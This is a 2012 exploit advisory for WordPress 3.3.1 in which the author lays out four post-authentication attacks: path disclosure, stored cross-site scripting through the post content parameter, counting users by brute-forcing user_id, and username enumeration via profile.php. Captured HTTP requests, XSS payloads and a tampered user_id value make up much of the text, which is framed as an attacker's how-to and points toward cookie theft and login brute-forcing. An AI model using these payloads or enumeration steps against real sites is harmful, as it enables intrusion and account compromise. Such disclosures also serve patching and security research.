4 vulns wordpress 3.3.1

+--Exploits for WordPress 3.3.1 by HauntIT released 15.02.2012 -------+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1) Post-Auth Information Disclosure

// a. What is the type of vulnerability?
 This vulnerability shows us full path to Wordpress installation on server.
Information disclosure bug.

Vulnerability can be triggered by users with 'subscriber' role.
For some cases bug is available for 'editor'-role users too.

// b. Where is bug :)
Go to Your /wordpress/wp-admin/media-upload.php?type=image&tab='&post_id=6

You should see now something similar to:
"Fatal error: Maximum execution time of 30 seconds exceeded in
/path/to/your/wordpress/wp-includes/plugin.php on line 148."

So:
@Wordpress/wp-includes$ cat -n plugin.php | grep 148
   148        array_pop($wp_current_filter);

Enjoy ;)
--------------------------------------------------------------------------------
2) Post-Auth Cross Site Scripting

// a. What is the type of vulnerability?

 This is standard persistent XSS for normal (registered) user (with 'editor' role).

"An attacker may exploit the html-injection issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the saffected site. This
may allow to steal cookie-based authentication credentials, control how the site
is displayed, and launch other attacks."

// b. Where is bug :)
...cut from Burp...
POST /www/Wordpress/wordpress/wp-admin/post.php HTTP/1.1
(...)
content=qqqqqqqqqqqqqqqqqqqqqq"%2f%3e%3cimg%20src%3dx%20onerror%3dalert(123)%3e%3c
...cut from Burp...

By setting up 'content' parameter to value contains JS payload we can trigger XSS (add it
for other users in WP).

Payload to use for storing XSS could be tag  'video':
<video onload=<xss>>
------------------------------------------------------------------------------------------
3) User Count Enumeration

//a. What is the type of vulnerability?
 This is very crazy bug, because, we can not enumerate _names_ of users.
We can't get a "information-disclosure"-kind of bug.
One think we can do using this bug is getting to know
what is the number of users in Wordpress. ;)

Number of users (in webapp) can be used, to determine:
- how "popular" is this WP-site (by "popular" I mean, how many users are registered in this site);
- can be used, when You're bruteforcing names in WP.
Here, if we can get 'number of users', we can do other thing:
now we know that: (for example) in webapplication we have 10 users.
When we get number of users, we can determine next attack: bruteforce to enumerate their (users) names.
So, when doing this, we have some kind of 'default login list' file for bruteforce.
Via this file, bruteforcing-progress tells us, that (from logins.txt) we find out 7 names.
So connecting this information with information from our bug - we can know, that
in webapplication is 3 more names(users) to 'get'.

I tested this vulnerability for registered user. Role for him was subscriber (so "the lowest" of registered users).

//b. Where is bug :)
 Here I'll present some BurpProxy traffic dump:

...cut...
POST /www/Wordpress/wordpress/wp-admin/profile.php HTTP/1.1
Host: localhost
(...)
Content-Type: application/x-www-form-urlencoded
Content-Length: 363
Connection: close

_wpnonce=f175245608&_wp_http_referer=%2Fwww%2FWordpress%2Fwordpress%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&admin_color=fresh&admin_bar_front=1&first_name=tester&last_name=tester&nickname=tester&display_name=tester&email=tester%40tester.com&url=&aim=&yim=&jabber=&description=&pass1=&pass2=&action=update&user_id=23 OR 1=2&submit=Update+Profile
...cut...*

If this user_id exists, we'll get an information that:
- we can not edit this user/profile
- we can edit this user/profile (here won't be info like "now You can change other users";). If
we have permmitions here to change (others), we will change it (no warning or other "communicate" here)

If there is not user_id = (our intiger), than Wordpress tell us:
...cut...
HTTP/1.1 500 Internal Server Error
Date: Wed, 15 Feb 2012 23:34:34 GMT
Server: Apache/2.2.17 (Ubuntu)
X-Powered-By: PHP/5.3.5-1ubuntu7.7
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Wed, 15 Feb 2012 23:34:35 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2923

<!DOCTYPE html>
<!-- Ticket #11289, IE bug fix:(...) -->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>WordPress &rsaquo; Error</title>
  <style type="text/css">
(...)

      </style>
</head>
<body id="error-page">
  <p>Invalid user ID.</p></body>
</html>


...cut...

So now by bruteforcing numbers with this HTTP POST, authenticated (normal registered) user
can find out how many users is in the application.

-----------------------------------------------------------------------------------------
4) Post-Auth SQL Injection

//a. What is the type of vulnerability?
This is kind of wierd SQL Injection (or parameter manipulation for 'priviledge escalation').
For user who has admin access there is functionality like "show all users in webapp".
For normal user (registered, with "role" rights), there isn't functionality like this.
But using Wordpress in way that it is not designed to, we can get all user-names in
latest(/installed) WordPress (3.3.1).

//b. Where is bug :
To trigger this vulnerability, we must log in as a normal (registered/role rights) user.
You should know that this descriptions is covering getting only 1 username.
To automate this process to enumerate all users, write Your own PoC. ;)

If You're logged in as a normal user ("subscriber"), go to:
wordpress/wp-admin/profile.php

Now You should set parameters like this:
?_wpnonce=&
_wp_http_referer=&
from=profile&
checkuser_id=&
admin_color=&
admin_bar_front=&
first_name=last_name=&
nickname=&
display_name=&
email=tester@tester.com&
url=&
aim=&
yim=&
jabber=&
description=&
pass1=&
pass2=&
action=update&
user_id=3

Vulnerable parameter is (the last) "user_id".
When we set this parameter value to other integer value, we can get names of other users in webapp.
Information about name will back to us in error page (so for automate attacks You should
use something similar to n+1 (for value of user_id parameter).

I wrote similar tool for 3.2.1 version, here it is:
http://hauntit.blogspot.com/2011/09/wordpress-321-user-enumeration.html

Cheers!
-----------------------------------------------------------------------------------------
end of paper.
-----------------------------------------------------------------------------------------
visit us hack4life.com.ar